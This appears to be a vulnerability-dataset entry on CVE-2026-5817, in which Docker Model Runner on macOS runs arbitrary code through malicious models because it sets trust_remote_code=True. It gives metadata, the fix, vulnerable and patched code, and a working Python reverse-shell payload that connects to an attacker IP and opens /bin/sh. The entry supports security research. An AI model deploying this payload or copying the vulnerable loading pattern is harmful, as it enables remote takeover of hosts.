CVE-2026-5817
macOS Docker Model Runner is vulnerable to RCE via malicious models.
- CVSS 8.8
- CWE-829
- Input Validation and Sanitization
- Local
The vllm-metal inference backend in Docker Model Runner on macOS unconditionally sets trust_remote_code=True when loading model tokenizers, and runs without sandboxing. This causes transformers.AutoTokenizer.from_pretrained() to import and execute arbitrary Python files included in any model pulled from an OCI registry, resulting in arbitrary code execution on the Docker host as the Docker Desktop user when inference is triggered. Any container on the Docker network can trigger this by calling the model-runner.docker.internal API to pull a malicious model and request inference.
- CWE
- CWE-829
- CVSS base score
- 8.8
- Published
- 2026-05-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Remote File Inclusion (RFI)
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Docker Model
Solution
Upgrade Docker Desktop to version 4.31.0 or later.
Vulnerable code sample
import transformers
def load_tokenizer_for_model(model_name_or_path: str):
"""
Represents the vulnerable logic that loads a model's tokenizer.
This function was called by the inference server when a model
was requested.
"""
# The vulnerability is the unconditional use of `trust_remote_code=True`.
# This allows any Python code within the tokenizer's source files
# on an OCI registry (e.g., Hugging Face Hub) to be executed on the host.
tokenizer = transformers.AutoTokenizer.from_pretrained(
model_name_or_path,
trust_remote_code=True
)
return tokenizerPatched code sample
from transformers import AutoTokenizer
def load_tokenizer_safely(model_path: str):
"""
Securely loads a tokenizer by explicitly disabling remote code execution.
This function represents the fix for the vulnerability, where the original
code unconditionally set `trust_remote_code=True`. By explicitly setting
`trust_remote_code=False`, we prevent the `transformers` library from
importing and executing any Python code files that may be included in
a malicious model's repository. This is the secure default, and this
code enforces it.
"""
tokenizer = AutoTokenizer.from_pretrained(
model_path,
trust_remote_code=False
)
return tokenizerPayload
from transformers import PreTrainedTokenizer
import os
import socket
import subprocess
# The reverse shell payload that executes when this module is imported by AutoTokenizer.
# Replace RHOST and RPORT with the attacker's listening IP address and port.
RHOST = "10.0.0.1"
RPORT = 4444
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0) # Redirect stdin
os.dup2(s.fileno(), 1) # Redirect stdout
os.dup2(s.fileno(), 2) # Redirect stderr
p = subprocess.run(["/bin/sh", "-i"])
except Exception:
pass
# A minimal class structure is required for transformers to successfully load the custom code.
# The code above has already executed at this point.
class ExploitTokenizer(PreTrainedTokenizer):
def __init__(self, **kwargs):
super().__init__(**kwargs)
@property
def vocab_size(self):
return 1
def _tokenize(self, text, **kwargs):
return []
def _convert_token_to_id(self, token):
return 0
def _convert_id_to_token(self, index):
return ""
def get_vocab(self):
return {}
def save_vocabulary(self, save_directory, filename_prefix=None):
return ()
Cite this entry
@misc{vaitp:cve20265817,
title = {{macOS Docker Model Runner is vulnerable to RCE via malicious models.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-5817},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-5817/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
